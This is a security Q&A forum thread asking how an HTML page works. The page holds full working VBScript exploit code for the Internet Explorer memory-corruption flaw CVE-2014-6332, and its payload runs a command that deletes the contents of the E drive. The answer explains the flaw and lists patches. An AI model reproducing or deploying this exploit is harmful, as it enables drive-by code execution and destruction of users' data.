0

I came across this piece of HTML code today:

<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "cmd", "/c rd/s/q E:"
end function
</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
      info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function
  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
       document.write(i)
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)

     redim  Preserve aa(a0)
end function

function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
            j=0
            redim  Preserve aa(a2)
            aa(a1+2)(i+&h11c+k)=ab(4)
            redim  Preserve aa(a0)
            j=0
            j=readmemo(i+&h120+k)
            Exit for
        end if
    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim Preserve aa(a0)
    redim ab(a0)
    redim Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                 end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if
        end if
    end if

    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)
end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    ReadMemo=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(a0)
end function

</script>
Please use Internet Explorer to browse this page
</body>
</html>

The maker of this .html webpage claims that this webpage can wipe a user's E drive as soon as he opens the webpage (which I can confirm by the command it's running), and also claims that all users using Windows XP, Windows 7/8 without auto update will get the code run no matter which version of Internet Explorer they're running.

I tested this myself (I don't have a E drive at all!), and opening this page in IE does pop up the command line tool briefly, though it doesn't display any code there at all.

(I'm using Windows XP with IE7)

So, my question is, is this really that vulnerable, and how it works? If it's really that easy to execute arbitrary code, it's very worrying. (But then I don't really use IE at all, so...)

user61258
  • 11
  • 3
  • I've done a test as well since my E-Drive is a (write able) SD card. Running it locally doesn't work, however, using it on a web site gives me the following error in Internet Explorer: "Windows cannot access the specified device, path or file. You may not have the appropriate permission to access the item." Using Windows 8.1 with Internet Explorer 11 (fully patched system) – Jeroen Nov 23 '14 at 06:44
  • Changing the command 'cmd' to 'notepad' and using IE v11, notepad is executed on loading the HTML file. Could it be a possible 0-day? – Jeroen Nov 23 '14 at 06:48

1 Answers1

3

This is not a zero-day vulnerability. A patch was released in the latest Patch Tuesday batch from Microsoft.

National Vulnerability Database: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332
CVEDetails: http://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2014-6332
Metasploit module source: https://forsec.nl/wp-content/uploads/2014/11/ms14_064_ie_olerce.rb_.txt Microsoft Security Bulletin MS14-064: https://technet.microsoft.com/library/security/ms14-064

Actions required for protection:

  • XP or earlier - Upgrade to Vista SP2, 7 SP1, or later. Then apply MS14-064 updates.
  • Vista SP0/SP1 - Update to SP2. Then apply MS14-064 updates.
  • 7 SP0 - update to SP1. Then apply MS14-064 updates.
  • 7 SP1, 8, 8.1 - Apply MS14-064 updates.

Next time, try dropping some of the more unique code snippets into Google and see what comes up. Of course, make sure you're on a disposable system first.

Iszi
  • 26,997
  • 18
  • 98
  • 163
  • So, will the exploit run "cmd" with admin privileges? – programings Nov 23 '14 at 10:46
  • 2
    @programings For Windows XP, if you're running as an Administrator, yes. For Vista or later, it depends on the UAC configuration you have for your system and whether or not you just click-through unsolicited UAC warnings. – Iszi Nov 23 '14 at 10:48